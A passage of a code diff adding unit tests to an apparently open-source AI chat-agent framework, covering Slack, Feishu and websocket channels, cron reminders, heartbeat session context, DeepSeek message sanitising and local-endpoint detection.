+    """_on_reaction_added stores the returned reaction_id in _reaction_ids."""
+    channel = _make_feishu_channel()
+    loop = asyncio.new_event_loop()
+    try:
+        task = loop.create_task(asyncio.sleep(0, result="reaction_abc"))
+        loop.run_until_complete(task)
+        channel._on_reaction_added("om_001", task)
+    finally:
+        loop.close()
+
+    assert channel._reaction_ids["om_001"] == "reaction_abc"
+
+
+def test_on_reaction_added_skips_none_result() -> None:
+    """_on_reaction_added does not store None results."""
+    channel = _make_feishu_channel()
+    loop = asyncio.new_event_loop()
+    try:
+        task = loop.create_task(asyncio.sleep(0, result=None))
+        loop.run_until_complete(task)
+        channel._on_reaction_added("om_001", task)
+    finally:
+        loop.close()
+
+    assert "om_001" not in channel._reaction_ids
+
+
+def test_on_background_task_done_removes_from_set() -> None:
+    """_on_background_task_done removes task from tracking set."""
+    channel = _make_feishu_channel()
+    loop = asyncio.new_event_loop()
+    try:
+        async def _fail():
+            raise RuntimeError("test failure")
+
+        task = loop.create_task(_fail())
+        channel._background_tasks.add(task)
+        try:
+            loop.run_until_complete(task)
+        except RuntimeError:
+            pass  # expected
+        channel._on_background_task_done(task)
+    finally:
+        loop.close()
+
+    assert task not in channel._background_tasks

tests/channels/test_slack_channel.py

@@ -1,5 +1,9 @@
 from __future__ import annotations
 
+from types import SimpleNamespace
+from unittest.mock import AsyncMock
+
+import httpx
 import pytest
 
 # Check optional Slack dependencies before running tests
@@ -10,7 +14,7 @@ except ImportError:
 
 from nanobot.bus.events import OutboundMessage
 from nanobot.bus.queue import MessageBus
-from nanobot.channels.slack import SlackChannel, SlackConfig
+from nanobot.channels.slack import SLACK_MAX_MESSAGE_LEN, SlackChannel, SlackConfig
 
 
 class _FakeAsyncWebClient:
@@ -20,26 +24,30 @@ class _FakeAsyncWebClient:
         self.reactions_add_calls: list[dict[str, object | None]] = []
         self.reactions_remove_calls: list[dict[str, object | None]] = []
         self.conversations_list_calls: list[dict[str, object | None]] = []
+        self.conversations_replies_calls: list[dict[str, object | None]] = []
         self.users_list_calls: list[dict[str, object | None]] = []
         self.conversations_open_calls: list[dict[str, object | None]] = []
         self._conversations_pages: list[dict[str, object]] = []
+        self._conversations_replies_response: dict[str, object] = {"messages": []}
         self._users_pages: list[dict[str, object]] = []
         self._open_dm_response: dict[str, object] = {"channel": {"id": "D_OPENED"}}
 
-    async def chat_postMessage(
+    async def chat_postMessage(  # noqa: N802 - mirrors Slack SDK method name
         self,
         *,
         channel: str,
         text: str,
         thread_ts: str | None = None,
+        blocks: list[dict[str, object]] | None = None,
     ) -> None:
-        self.chat_post_calls.append(
-            {
-                "channel": channel,
-                "text": text,
-                "thread_ts": thread_ts,
-            }
-        )
+        call: dict[str, object | None] = {
+            "channel": channel,
+            "text": text,
+            "thread_ts": thread_ts,
+        }
+        if blocks is not None:
+            call["blocks"] = blocks
+        self.chat_post_calls.append(call)
 
     async def files_upload_v2(
         self,
@@ -92,6 +100,10 @@ class _FakeAsyncWebClient:
             return self._conversations_pages.pop(0)
         return {"channels": [], "response_metadata": {"next_cursor": ""}}
 
+    async def conversations_replies(self, **kwargs):
+        self.conversations_replies_calls.append(kwargs)
+        return self._conversations_replies_response
+
     async def users_list(self, **kwargs):
         self.users_list_calls.append(kwargs)
         if self._users_pages:
@@ -149,6 +161,61 @@ async def test_send_omits_thread_for_dm_messages() -> None:
     assert fake_web.file_upload_calls[0]["thread_ts"] is None
 
 
+@pytest.mark.asyncio
+async def test_send_splits_long_messages() -> None:
+    channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
+    fake_web = _FakeAsyncWebClient()
+    channel._web_client = fake_web
+
+    await channel.send(
+        OutboundMessage(
+            channel="slack",
+            chat_id="C123",
+            content="x" * (SLACK_MAX_MESSAGE_LEN + 10),
+        )
+    )
+
+    assert len(fake_web.chat_post_calls) == 2
+    assert all(len(str(call["text"])) <= SLACK_MAX_MESSAGE_LEN for call in fake_web.chat_post_calls)
+
+
+@pytest.mark.asyncio
+async def test_send_renders_buttons_on_last_message_chunk() -> None:
+    channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
+    fake_web = _FakeAsyncWebClient()
+    channel._web_client = fake_web
+
+    await channel.send(
+        OutboundMessage(
+            channel="slack",
+            chat_id="C123",
+            content="Choose one",
+            buttons=[["Yes", "No"]],
+        )
+    )
+
+    assert len(fake_web.chat_post_calls) == 1
+    blocks = fake_web.chat_post_calls[0]["blocks"]
+    assert isinstance(blocks, list)
+    assert blocks[-1] == {
+        "type": "actions",
+        "elements": [
+            {
+                "type": "button",
+                "text": {"type": "plain_text", "text": "Yes"},
+                "value": "Yes",
+                "action_id": "ask_user_Yes",
+            },
+            {
+                "type": "button",
+                "text": {"type": "plain_text", "text": "No"},
+                "value": "No",
+                "action_id": "ask_user_No",
+            },
+        ],
+    }
+
+
 @pytest.mark.asyncio
 async def test_send_updates_reaction_when_final_response_sent() -> None:
     channel = SlackChannel(SlackConfig(enabled=True, react_emoji="eyes"), MessageBus())
@@ -316,3 +383,143 @@ async def test_send_raises_when_named_target_cannot_be_resolved() -> None:
                 content="hello",
             )
         )
+
+
+@pytest.mark.asyncio
+async def test_with_thread_context_fetches_root_once() -> None:
+    channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
+    channel._bot_user_id = "UBOT"
+    fake_web = _FakeAsyncWebClient()
+    fake_web._conversations_replies_response = {
+        "messages": [
+            {"ts": "111.000", "user": "UROOT", "text": "drink water"},
+            {"ts": "112.000", "user": "U2", "text": "good idea"},
+            {"ts": "112.500", "user": "UBOT", "text": "I'll remind you."},
+            {"ts": "113.000", "user": "U3", "text": "<@UBOT> what did you see?"},
+        ]
+    }
+    channel._web_client = fake_web
+
+    content = await channel._with_thread_context(
+        "what did you see?",
+        chat_id="C123",
+        channel_type="channel",
+        thread_ts="111.000",
+        raw_thread_ts="111.000",
+        current_ts="113.000",
+    )
+
+    assert fake_web.conversations_replies_calls == [
+        {"channel": "C123", "ts": "111.000", "limit": 20}
+    ]
+    assert "Slack thread context before this mention:" in content
+    assert "- <@UROOT>: drink water" in content
+    assert "- <@U2>: good idea" in content
+    assert "- bot: I'll remind you." in content
+    assert "U3" not in content
+    assert content.endswith("Current message:\nwhat did you see?")
+
+    second = await channel._with_thread_context(
+        "again",
+        chat_id="C123",
+        channel_type="channel",
+        thread_ts="111.000",
+        raw_thread_ts="111.000",
+        current_ts="114.000",
+    )
+    assert second == "again"
+    assert len(fake_web.conversations_replies_calls) == 1
+
+
+@pytest.mark.asyncio
+async def test_slack_slash_command_skips_thread_context() -> None:
+    channel = SlackChannel(SlackConfig(enabled=True, allow_from=[]), MessageBus())
+    channel._bot_user_id = "UBOT"
+    channel._with_thread_context = AsyncMock(return_value="wrapped")  # type: ignore[method-assign]
+    channel._handle_message = AsyncMock()  # type: ignore[method-assign]
+    client = SimpleNamespace(send_socket_mode_response=AsyncMock())
+    req = SimpleNamespace(
+        type="events_api",
+        envelope_id="env-1",
+        payload={
+            "event": {
+                "type": "app_mention",
+                "user": "U1",
+                "channel": "C123",
+                "text": "<@UBOT> /restart",
+                "thread_ts": "111.000",
+                "ts": "112.000",
+            }
+        },
+    )
+
+    await channel._on_socket_request(client, req)
+
+    channel._with_thread_context.assert_not_awaited()
+    channel._handle_message.assert_awaited_once()
+    assert channel._handle_message.await_args.kwargs["content"] == "/restart"
+
+
+@pytest.mark.asyncio
+async def test_slack_file_share_downloads_media_and_reaches_agent() -> None:
+    channel = SlackChannel(SlackConfig(enabled=True, bot_token="xoxb-test"), MessageBus())
+    channel._bot_user_id = "UBOT"
+    channel._web_client = _FakeAsyncWebClient()
+    channel._handle_message = AsyncMock()  # type: ignore[method-assign]
+    channel._download_slack_file = AsyncMock(  # type: ignore[method-assign]
+        return_value=("/tmp/report.pdf", "[file: report.pdf]")
+    )
+    client = SimpleNamespace(send_socket_mode_response=AsyncMock())
+    req = SimpleNamespace(
+        type="events_api",
+        envelope_id="env-file",
+        payload={
+            "event": {
+                "type": "message",
+                "subtype": "file_share",
+                "user": "U1",
+                "channel": "D123",
+                "channel_type": "im",
+                "text": "please read this",
+                "ts": "1700000000.000100",
+                "files": [
+                    {
+                        "id": "F123",
+                        "name": "report.pdf",
+                        "mimetype": "application/pdf",
+                        "url_private_download": "https://files.slack.com/report.pdf",
+                    }
+                ],
+            }
+        },
+    )
+
+    await channel._on_socket_request(client, req)
+
+    channel._download_slack_file.assert_awaited_once()
+    channel._handle_message.assert_awaited_once()
+    kwargs = channel._handle_message.await_args.kwargs
+    assert kwargs["content"] == "please read this\n[file: report.pdf]"
+    assert kwargs["media"] == ["/tmp/report.pdf"]
+
+
+def test_slack_download_rejects_login_html() -> None:
+    html_response = httpx.Response(
+        200,
+        headers={"content-type": "text/html; charset=utf-8"},
+        content=b"<!doctype html><html><title>Sign in to Slack</title>",
+    )
+    markdown_response = httpx.Response(
+        200,
+        headers={"content-type": "text/markdown"},
+        content=b"# PR Extraction Guide\n",
+    )
+
+    assert SlackChannel._looks_like_html_download(html_response) is True
+    assert SlackChannel._looks_like_html_download(markdown_response) is False
+
+
+def test_slack_channel_uses_channel_aware_allow_policy() -> None:
+    channel = SlackChannel(SlackConfig(enabled=True, allow_from=[]), MessageBus())
+    assert channel.is_allowed("U1") is True
+    assert channel._is_allowed("U1", "C123", "channel") is True

tests/channels/test_websocket_channel.py

@@ -26,6 +26,8 @@ from nanobot.channels.websocket import (
     _parse_query,
     _parse_request_path,
 )
+from nanobot.config.loader import load_config, save_config
+from nanobot.config.schema import Config
 
 # -- Shared helpers (aligned with test_websocket_integration.py) ---------------
 
@@ -178,6 +180,7 @@ async def test_send_delivers_json_message_with_media_and_reply() -> None:
         content="hello",
         reply_to="m1",
         media=["/tmp/a.png"],
+        buttons=[["Yes", "No"]],
     )
     await channel.send(msg)
 
@@ -185,9 +188,11 @@ async def test_send_delivers_json_message_with_media_and_reply() -> None:
     payload = json.loads(mock_ws.send.call_args[0][0])
     assert payload["event"] == "message"
     assert payload["chat_id"] == "chat-1"
-    assert payload["text"] == "hello"
+    assert payload["text"] == "hello\n\n1. Yes\n2. No"
+    assert payload["button_prompt"] == "hello"
     assert payload["reply_to"] == "m1"
     assert payload["media"] == ["/tmp/a.png"]
+    assert payload["buttons"] == [["Yes", "No"]]
 
 
 @pytest.mark.asyncio
@@ -436,6 +441,72 @@ async def test_http_route_issues_token_then_websocket_requires_it(bus: MagicMock
         await server_task
 
 
+@pytest.mark.asyncio
+async def test_settings_api_returns_safe_subset_and_updates_whitelist(
+    bus: MagicMock,
+    monkeypatch,
+    tmp_path,
+) -> None:
+    port = 29891
+    config_path = tmp_path / "config.json"
+    config = Config()
+    config.agents.defaults.model = "openai/gpt-4o"
+    config.providers.openai.api_key = "secret-key"
+    save_config(config, config_path)
+    monkeypatch.setattr("nanobot.config.loader._current_config_path", config_path)
+
+    channel = _ch(bus, port=port)
+    channel._api_tokens["tok"] = time.monotonic() + 300
+
+    server_task = asyncio.create_task(channel.start())
+    await asyncio.sleep(0.3)
+
+    try:
+        settings = await _http_get(
+            f"http://127.0.0.1:{port}/api/settings",
+            headers={"Authorization": "Bearer tok"},
+        )
+        assert settings.status_code == 200
+        body = settings.json()
+        assert body["agent"]["model"] == "openai/gpt-4o"
+        assert body["agent"]["provider"] == "openai"
+        assert {"name": "auto", "label": "Auto"} in body["providers"]
+        assert body["agent"]["has_api_key"] is True
+        assert "secret-key" not in settings.text
+
+        updated = await _http_get(
+            "http://127.0.0.1:"
+            f"{port}/api/settings/update?model=openrouter/test"
+            "&provider=openrouter",
+            headers={"Authorization": "Bearer tok"},
+        )
+        assert updated.status_code == 200
+        assert updated.json()["requires_restart"] is True
+
+        saved = load_config(config_path)
+        assert saved.agents.defaults.model == "openrouter/test"
+        assert saved.agents.defaults.provider == "openrouter"
+    finally:
+        await channel.stop()
+        await server_task
+
+
+def test_settings_payload_normalizes_camel_case_provider(
+    bus: MagicMock,
+    monkeypatch,
+    tmp_path,
+) -> None:
+    config_path = tmp_path / "config.json"
+    config = Config()
+    config.agents.defaults.provider = "minimaxAnthropic"
+    save_config(config, config_path)
+    monkeypatch.setattr("nanobot.config.loader._current_config_path", config_path)
+
+    body = _ch(bus)._settings_payload()
+
+    assert body["agent"]["provider"] == "minimax_anthropic"
+
+
 @pytest.mark.asyncio
 async def test_end_to_end_server_pushes_streaming_deltas_to_client(bus: MagicMock) -> None:
     port = 29880

tests/cli/test_commands.py

@@ -12,6 +12,7 @@ from nanobot.bus.events import OutboundMessage
 from nanobot.cli.commands import _make_provider, app
 from nanobot.config.schema import Config
 from nanobot.cron.types import CronJob, CronPayload
+from nanobot.providers.factory import ProviderSnapshot
 from nanobot.providers.openai_codex_provider import _strip_model_prefix
 from nanobot.providers.registry import find_by_name
 
@@ -776,6 +777,15 @@ def _stop_gateway_provider(_config) -> object:
     raise _StopGatewayError("stop")
 
 
+def _test_provider_snapshot(provider: object, config: Config) -> ProviderSnapshot:
+    return ProviderSnapshot(
+        provider=provider,
+        model=config.agents.defaults.model,
+        context_window_tokens=config.agents.defaults.context_window_tokens,
+        signature=("test",),
+    )
+
+
 def _patch_cli_command_runtime(
     monkeypatch,
     config: Config,
@@ -788,6 +798,8 @@ def _patch_cli_command_runtime(
     cron_service=None,
     get_cron_dir=None,
 ) -> None:
+    provider_factory = make_provider or (lambda _config: object())
+
     monkeypatch.setattr(
         "nanobot.config.loader.set_config_path",
         set_config_path or (lambda _path: None),
@@ -800,7 +812,15 @@ def _patch_cli_command_runtime(
     )
     monkeypatch.setattr(
         "nanobot.cli.commands._make_provider",
-        make_provider or (lambda _config: object()),
+        provider_factory,
+    )
+    monkeypatch.setattr(
+        "nanobot.providers.factory.build_provider_snapshot",
+        lambda _config: _test_provider_snapshot(provider_factory(_config), _config),
+    )
+    monkeypatch.setattr(
+        "nanobot.providers.factory.load_provider_snapshot",
+        lambda _config_path=None: _test_provider_snapshot(provider_factory(config), config),
     )
 
     if message_bus is not None:
@@ -941,8 +961,36 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
     monkeypatch.setattr("nanobot.config.loader.load_config", lambda _path=None: config)
     monkeypatch.setattr("nanobot.cli.commands.sync_workspace_templates", lambda _path: None)
     monkeypatch.setattr("nanobot.cli.commands._make_provider", lambda _config: provider)
+    monkeypatch.setattr(
+        "nanobot.providers.factory.build_provider_snapshot",
+        lambda _config: _test_provider_snapshot(provider, _config),
+    )
+    monkeypatch.setattr(
+        "nanobot.providers.factory.load_provider_snapshot",
+        lambda _config_path=None: _test_provider_snapshot(provider, config),
+    )
     monkeypatch.setattr("nanobot.bus.queue.MessageBus", lambda: bus)
-    monkeypatch.setattr("nanobot.session.manager.SessionManager", lambda _workspace: object())
+
+    class _FakeSession:
+        def __init__(self) -> None:
+            self.messages = []
+
+        def add_message(self, role: str, content: str, **kwargs) -> None:
+            self.messages.append({"role": role, "content": content, **kwargs})
+
+    class _FakeSessionManager:
+        def __init__(self, _workspace: Path) -> None:
+            self.session = _FakeSession()
+            seen["session_manager"] = self
+
+        def get_or_create(self, key: str) -> _FakeSession:
+            seen["session_key"] = key
+            return self.session
+
+        def save(self, session: _FakeSession) -> None:
+            seen["saved_session"] = session
+
+    monkeypatch.setattr("nanobot.session.manager.SessionManager", _FakeSessionManager)
 
     class _FakeCron:
         def __init__(self, _store_path: Path) -> None:
@@ -1019,9 +1067,11 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
     assert seen["provider"] is provider
     assert seen["model"] == "test-model"
     assert seen["task_context"] == (
-        "[Scheduled Task] Timer finished.\n\n"
-        "Task 'stretch' has been triggered.\n"
-        "Scheduled instruction: Remind me to stretch."
+        "The scheduled time has arrived. Deliver this reminder to the user now, "
+        "as a brief and natural message in their language. Speak directly to them — "
+        "do not narrate progress, summarize, include user IDs, or add status reports "
+        "like 'Done' or 'Reminded'.\n\n"
+        "Reminder: Remind me to stretch."
     )
     bus.publish_outbound.assert_awaited_once_with(
         OutboundMessage(
@@ -1030,6 +1080,16 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
             content="Time to stretch.",
         )
     )
+    assert seen["session_key"] == "telegram:user-1"
+    saved_session = seen["saved_session"]
+    assert isinstance(saved_session, _FakeSession)
+    assert saved_session.messages == [
+        {
+            "role": "assistant",
+            "content": "Time to stretch.",
+            "_channel_delivery": True,
+        }
+    ]
 
 
 def test_gateway_cron_job_suppresses_intermediate_progress(
@@ -1052,6 +1112,14 @@ def test_gateway_cron_job_suppresses_intermediate_progress(
     monkeypatch.setattr("nanobot.config.loader.load_config", lambda _path=None: config)
     monkeypatch.setattr("nanobot.cli.commands.sync_workspace_templates", lambda _path: None)
     monkeypatch.setattr("nanobot.cli.commands._make_provider", lambda _config: object())
+    monkeypatch.setattr(
+        "nanobot.providers.factory.build_provider_snapshot",
+        lambda _config: _test_provider_snapshot(object(), _config),
+    )
+    monkeypatch.setattr(
+        "nanobot.providers.factory.load_provider_snapshot",
+        lambda _config_path=None: _test_provider_snapshot(object(), config),
+    )
     monkeypatch.setattr("nanobot.bus.queue.MessageBus", lambda: bus)
     monkeypatch.setattr("nanobot.session.manager.SessionManager", lambda _workspace: object())
 

tests/cron/test_cron_service.py

@@ -43,6 +43,59 @@ def test_add_job_accepts_valid_timezone(tmp_path) -> None:
     assert job.state.next_run_at_ms is not None
 
 
+def test_add_job_preserves_channel_meta_and_session_key(tmp_path) -> None:
+    service = CronService(tmp_path / "cron" / "jobs.json")
+    meta = {"slack": {"thread_ts": "1234567890.123456", "channel_type": "channel"}}
+    job = service.add_job(
+        name="thread test",
+        schedule=CronSchedule(kind="every", every_ms=60_000),
+        message="hello",
+        deliver=True,
+        channel="slack",
+        to="C123",
+        channel_meta=meta,
+        session_key="slack:C123:1234567890.123456",
+    )
+    assert job.payload.channel_meta == meta
+    assert job.payload.session_key == "slack:C123:1234567890.123456"
+
+    reloaded = service.get_job(job.id)
+    assert reloaded is not None
+    assert reloaded.payload.channel_meta == meta
+    assert reloaded.payload.session_key == "slack:C123:1234567890.123456"
+
+
+@pytest.mark.asyncio
+async def test_channel_meta_and_session_key_survive_store_reload(tmp_path) -> None:
+    store_path = tmp_path / "cron" / "jobs.json"
+    service = CronService(store_path)
+    await service.start()
+    meta = {"slack": {"thread_ts": "1234567890.123456", "channel_type": "channel"}}
+    try:
+        job = service.add_job(
+            name="thread test",
+            schedule=CronSchedule(kind="every", every_ms=60_000),
+            message="hello",
+            deliver=True,
+            channel="slack",
+            to="C123",
+            channel_meta=meta,
+            session_key="slack:C123:1234567890.123456",
+        )
+    finally:
+        service.stop()
+
+    raw = json.loads(store_path.read_text(encoding="utf-8"))
+    payload = raw["jobs"][0]["payload"]
+    assert payload["channelMeta"] == meta
+    assert payload["sessionKey"] == "slack:C123:1234567890.123456"
+
+    reloaded = CronService(store_path).get_job(job.id)
+    assert reloaded is not None
+    assert reloaded.payload.channel_meta == meta
+    assert reloaded.payload.session_key == "slack:C123:1234567890.123456"
+
+
 @pytest.mark.asyncio
 async def test_execute_job_records_run_history(tmp_path) -> None:
     store_path = tmp_path / "cron" / "jobs.json"

tests/cron/test_cron_tool_list.py

@@ -382,6 +382,21 @@ def test_add_job_empty_message_returns_actionable_error(tmp_path) -> None:
     assert "Retry including message=" in result
 
 
+def test_add_job_captures_metadata_and_session_key(tmp_path) -> None:
+    """CronTool stores channel metadata and session_key when adding a job."""
+    tool = _make_tool(tmp_path)
+    meta = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
+    tool.set_context("slack", "C99", metadata=meta, session_key="slack:C99:111.222")
+
+    result = tool._add_job("test", "say hi", 60, None, None, None)
+    assert "Created job" in result
+
+    jobs = tool._cron.list_jobs()
+    assert len(jobs) == 1
+    assert jobs[0].payload.channel_meta == meta
+    assert jobs[0].payload.session_key == "slack:C99:111.222"
+
+
 def test_list_excludes_disabled_jobs(tmp_path) -> None:
     tool = _make_tool(tmp_path)
     job = tool._cron.add_job(

tests/heartbeat/test_heartbeat_context_bridge.py

@@ -0,0 +1,120 @@
+"""Tests for heartbeat context bridge — injecting delivered messages into channel session."""
+
+from nanobot.session.manager import SessionManager
+
+
+class TestHeartbeatContextBridge:
+    """Verify that on_heartbeat_notify injects the assistant message into the
+    channel session so user replies have conversational context."""
+
+    def test_notify_injects_into_channel_session(self, tmp_path):
+        """After notify, the target channel session should contain the
+        heartbeat response as an assistant turn."""
+        session_mgr = SessionManager(tmp_path / "sessions")
+        target_key = "telegram:12345"
+
+        # Simulate: session exists with one user message
+        target_session = session_mgr.get_or_create(target_key)
+        target_session.add_message("user", "hello earlier")
+        session_mgr.save(target_session)
+
+        # Simulate what on_heartbeat_notify does
+        target_session = session_mgr.get_or_create(target_key)
+        target_session.add_message(
+            "assistant",
+            "3 new emails — invoice, meeting, proposal.",
+            _channel_delivery=True,
+        )
+        session_mgr.save(target_session)
+
+        # Reload and verify
+        reloaded = session_mgr.get_or_create(target_key)
+        messages = reloaded.get_history(max_messages=0)
+        roles = [m["role"] for m in messages]
+        assert roles == ["user", "assistant"]
+        assert "3 new emails" in messages[-1]["content"]
+
+    def test_reply_after_injection_has_context(self, tmp_path):
+        """Simulates the full flow: prior conversation exists, heartbeat
+        injects, then user replies.  The session should have the heartbeat
+        message visible in get_history so the model sees the context."""
+        session_mgr = SessionManager(tmp_path / "sessions")
+        target_key = "telegram:12345"
+
+        # Pre-existing conversation (user has chatted before)
+        session = session_mgr.get_or_create(target_key)
+        session.add_message("user", "Hey")
+        session.add_message("assistant", "Hi there!")
+        session_mgr.save(session)
+
+        # Step 1: heartbeat injects assistant message
+        session = session_mgr.get_or_create(target_key)
+        session.add_message(
+            "assistant",
+            "If you want, I can mark that email as read.",
+            _channel_delivery=True,
+        )
+        session_mgr.save(session)
+
+        # Step 2: user replies "Sure"
+        session = session_mgr.get_or_create(target_key)
+        session.add_message("user", "Sure")
+        session_mgr.save(session)
+
+        # Verify: get_history includes the heartbeat injection
+        reloaded = session_mgr.get_or_create(target_key)
+        history = reloaded.get_history(max_messages=0)
+        roles = [m["role"] for m in history]
+        assert roles == ["user", "assistant", "assistant", "user"]
+        assert "mark that email" in history[2]["content"]
+        assert history[3]["content"] == "Sure"
+
+    def test_injection_does_not_duplicate_on_existing_history(self, tmp_path):
+        """If the channel session already has messages, the injection
+        appends cleanly without corruption."""
+        session_mgr = SessionManager(tmp_path / "sessions")
+        target_key = "telegram:12345"
+
+        # Pre-existing conversation
+        session = session_mgr.get_or_create(target_key)
+        session.add_message("user", "What time is it?")
+        session.add_message("assistant", "It's 2pm.")
+        session.add_message("user", "Thanks")
+        session_mgr.save(session)
+
+        # Heartbeat injects
+        session = session_mgr.get_or_create(target_key)
+        session.add_message(
+            "assistant",
+            "You have a meeting in 30 minutes.",
+            _channel_delivery=True,
+        )
+        session_mgr.save(session)
+
+        # Verify
+        reloaded = session_mgr.get_or_create(target_key)
+        history = reloaded.get_history(max_messages=0)
+        roles = [m["role"] for m in history]
+        assert roles == ["user", "assistant", "user", "assistant"]
+        assert "meeting in 30 minutes" in history[-1]["content"]
+
+    def test_reply_after_injection_to_empty_session_keeps_context(self, tmp_path):
+        """A user replying to the first delivered message still sees that context."""
+        session_mgr = SessionManager(tmp_path / "sessions")
+        target_key = "telegram:99999"
+
+        session = session_mgr.get_or_create(target_key)
+        session.add_message(
+            "assistant",
+            "Weather alert: sandstorm expected at 4pm.",
+            _channel_delivery=True,
+        )
+        session.add_message("user", "Sure")
+        session_mgr.save(session)
+
+        reloaded = session_mgr.get_or_create(target_key)
+        history = reloaded.get_history(max_messages=0)
+        assert len(history) == 2
+        assert history[0]["role"] == "assistant"
+        assert "sandstorm" in history[0]["content"]
+        assert history[1] == {"role": "user", "content": "Sure"}

tests/providers/test_litellm_kwargs.py

@@ -585,6 +585,81 @@ def test_openai_compat_preserves_message_level_reasoning_fields() -> None:
     assert sanitized[1]["tool_calls"][0]["extra_content"] == {"google": {"thought_signature": "sig"}}
 
 
+def _deepseek_kwargs(messages: list[dict]) -> dict:
+    with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
+        provider = OpenAICompatProvider(
+            api_key="sk-test",
+            default_model="deepseek-v4-flash",
+            spec=find_by_name("deepseek"),
+        )
+
+    return provider._build_kwargs(
+        messages=messages,
+        tools=None,
+        model="deepseek-v4-flash",
+        max_tokens=1024,
+        temperature=0.7,
+        reasoning_effort="high",
+        tool_choice=None,
+    )
+
+
+def _tool_call(call_id: str) -> dict:
+    return {
+        "id": call_id,
+        "type": "function",
+        "function": {"name": "my", "arguments": "{}"},
+    }
+
+
+def test_deepseek_thinking_drops_tool_history_missing_reasoning_content() -> None:
+    kwargs = _deepseek_kwargs([
+        {"role": "system", "content": "system"},
+        {"role": "user", "content": "can we use wechat?"},
+        {"role": "assistant", "content": "", "tool_calls": [_tool_call("call_bad")]},
+        {"role": "tool", "tool_call_id": "call_bad", "name": "my", "content": "channels"},
+        {"role": "user", "content": "continue"},
+    ])
+
+    assert kwargs["messages"] == [
+        {"role": "system", "content": "system"},
+        {"role": "user", "content": "continue"},
+    ]
+
+
+def test_deepseek_thinking_keeps_tool_history_with_reasoning_content() -> None:
+    kwargs = _deepseek_kwargs([
+        {"role": "user", "content": "can we use wechat?"},
+        {
+            "role": "assistant",
+            "content": "",
+            "reasoning_content": "I should inspect supported channels.",
+            "tool_calls": [_tool_call("call_good")],
+        },
+        {"role": "tool", "tool_call_id": "call_good", "name": "my", "content": "channels"},
+        {"role": "user", "content": "continue"},
+    ])
+
+    assistant = kwargs["messages"][1]
+    assert assistant["role"] == "assistant"
+    assert assistant["reasoning_content"] == "I should inspect supported channels."
+    assert kwargs["messages"][2]["role"] == "tool"
+
+
+def test_deepseek_thinking_drops_current_bad_tool_turn_without_followup_user() -> None:
+    kwargs = _deepseek_kwargs([
+        {"role": "system", "content": "system"},
+        {"role": "user", "content": "can we use wechat?"},
+        {"role": "assistant", "content": "", "tool_calls": [_tool_call("call_bad")]},
+        {"role": "tool", "tool_call_id": "call_bad", "name": "my", "content": "channels"},
+    ])
+
+    assert kwargs["messages"] == [
+        {"role": "system", "content": "system"},
+        {"role": "user", "content": "can we use wechat?"},
+    ]
+
+
 def test_openai_compat_keeps_tool_calls_after_consecutive_assistant_messages() -> None:
     with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
         provider = OpenAICompatProvider()

tests/providers/test_local_endpoint_detection.py

@@ -0,0 +1,118 @@
+"""Tests for _is_local_endpoint detection and keepalive configuration."""
+
+from unittest.mock import MagicMock
+
+from nanobot.providers.openai_compat_provider import (
+    OpenAICompatProvider,
+    _is_local_endpoint,
+)
+
+
+def _make_spec(is_local: bool = False) -> MagicMock:
+    spec = MagicMock()
+    spec.is_local = is_local
+    return spec
+
+
+class TestIsLocalEndpoint:
+    """Test the _is_local_endpoint helper."""
+
+    def test_spec_is_local_true(self):
+        assert _is_local_endpoint(_make_spec(is_local=True), None) is True
+
+    def test_spec_is_local_false_no_base(self):
+        assert _is_local_endpoint(_make_spec(is_local=False), None) is False
+
+    def test_no_spec_no_base(self):
+        assert _is_local_endpoint(None, None) is False
+
+    def test_localhost(self):
+        assert _is_local_endpoint(None, "http://localhost:1234/v1") is True
+
+    def test_localhost_https(self):
+        assert _is_local_endpoint(None, "https://localhost:8080/v1") is True
+
+    def test_loopback_127(self):
+        assert _is_local_endpoint(None, "http://127.0.0.1:11434/v1") is True
+
+    def test_private_192_168(self):
+        assert _is_local_endpoint(None, "http://192.168.8.188:1234/v1") is True
+
+    def test_private_10(self):
+        assert _is_local_endpoint(None, "http://10.0.0.5:8000/v1") is True
+
+    def test_private_172_16(self):
+        assert _is_local_endpoint(None, "http://172.16.0.1:1234/v1") is True
+
+    def test_private_172_31(self):
+        assert _is_local_endpoint(None, "http://172.31.255.255:1234/v1") is True
+
+    def test_not_private_172_32(self):
+        assert _is_local_endpoint(None, "http://172.32.0.1:1234/v1") is False
+
+    def test_docker_internal(self):
+        assert _is_local_endpoint(None, "http://host.docker.internal:11434/v1") is True
+
+    def test_ipv6_loopback(self):
+        assert _is_local_endpoint(None, "http://[::1]:1234/v1") is True
+
+    def test_public_api(self):
+        assert _is_local_endpoint(None, "https://api.openai.com/v1") is False
+
+    def test_openrouter(self):
+        assert _is_local_endpoint(None, "https://openrouter.ai/api/v1") is False
+
+    def test_spec_overrides_public_url(self):
+        """spec.is_local=True takes precedence even with a public-looking URL."""
+        assert _is_local_endpoint(_make_spec(is_local=True), "https://api.example.com/v1") is True
+
+    def test_case_insensitive(self):
+        assert _is_local_endpoint(None, "http://LOCALHOST:1234/v1") is True
+
+    def test_trailing_slash(self):
+        assert _is_local_endpoint(None, "http://192.168.1.1:8080/v1/") is True
+
+    def test_public_hostname_containing_localhost_is_not_local(self):
+        assert _is_local_endpoint(None, "https://notlocalhost.example/v1") is False
+
+    def test_public_hostname_containing_private_ip_prefix_is_not_local(self):
+        assert _is_local_endpoint(None, "https://api10.example.com/v1") is False
+
+    def test_url_without_scheme(self):
+        assert _is_local_endpoint(None, "192.168.1.1:8080/v1") is True
+
+
+class TestLocalKeepaliveConfig:
+    """Verify that local endpoints get keepalive_expiry=0."""
+
+    def test_local_spec_disables_keepalive(self):
+        spec = _make_spec(is_local=True)
+        spec.env_key = ""
+        spec.default_api_base = "http://localhost:11434/v1"
+        provider = OpenAICompatProvider(
+            api_key="test", api_base="http://localhost:11434/v1", spec=spec,
+        )
+        pool = provider._client._client._transport._pool
+        assert pool._keepalive_expiry == 0
+
+    def test_lan_ip_disables_keepalive(self):
+        """A generic 'openai' spec with a LAN IP should still disable keepalive."""
+        spec = _make_spec(is_local=False)
+        spec.env_key = ""
+        spec.default_api_base = None
+        provider = OpenAICompatProvider(
